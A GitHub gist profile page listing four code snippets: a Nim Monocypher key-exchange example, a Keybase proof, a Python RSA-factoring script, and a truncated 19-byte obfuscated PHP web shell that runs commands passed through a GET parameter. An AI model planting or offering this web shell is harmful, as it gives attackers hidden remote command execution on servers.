Skip to content

Instantly share code, notes, and snippets.

View kbsec's full-sized avatar
💭
🤠

KBSec kbsec

💭
🤠
View GitHub Profile
@kbsec
kbsec / monocypher_example.nim
Created October 7, 2020 12:53
monocypher_key_echange_example.nim
import monocypher
from strformat import fmt
from strutils import parseHexStr, toHex, toLowerAscii
proc toString(key: Key): string =
result = newString(key.len)
copyMem(result[0].addr, key[0].unsafeAddr, key.len)
@kbsec
kbsec / keybase.md
Created May 28, 2020 18:24
keybase proof

Keybase proof

I hereby claim:

  • I am kbsec on github.
  • I am kbintel (https://keybase.io/kbintel) on keybase.
  • I have a public key ASDclh9HTTpWAEfyiqAu3j6wNg8TLlU9nY5DZvKcSqpd6Ao

To claim this, I am signing this object:

@kbsec
kbsec / factorRSA.py
Created May 28, 2020 18:22
Factors an RSA modulus N=p*q given the public and private exponents.
import numpy as np
import random
def factor(e,d,N):
"""
Factors N using the private and public exponent
Args:
e (int): public exponent. Usually 65537
d (int): private exponent, such that de=1 mod phi(N)
N (int): modulus for rsa problem, N=p*q for 2 primes p,q
@kbsec
kbsec / rev_shell.php
Last active May 9, 2020 16:21 — forked from terjanq/rev_shell.php
The shortest non-alphanumeric reverse shell script (19 bytes)
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;
/*
* In terminal:
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
* This is how the code will be produced, \xa0\xb8\xba\xab will be
* treated as constant therefore no " needed. It is also not copyable
* string because of non-ascii characters
*
* Explanation: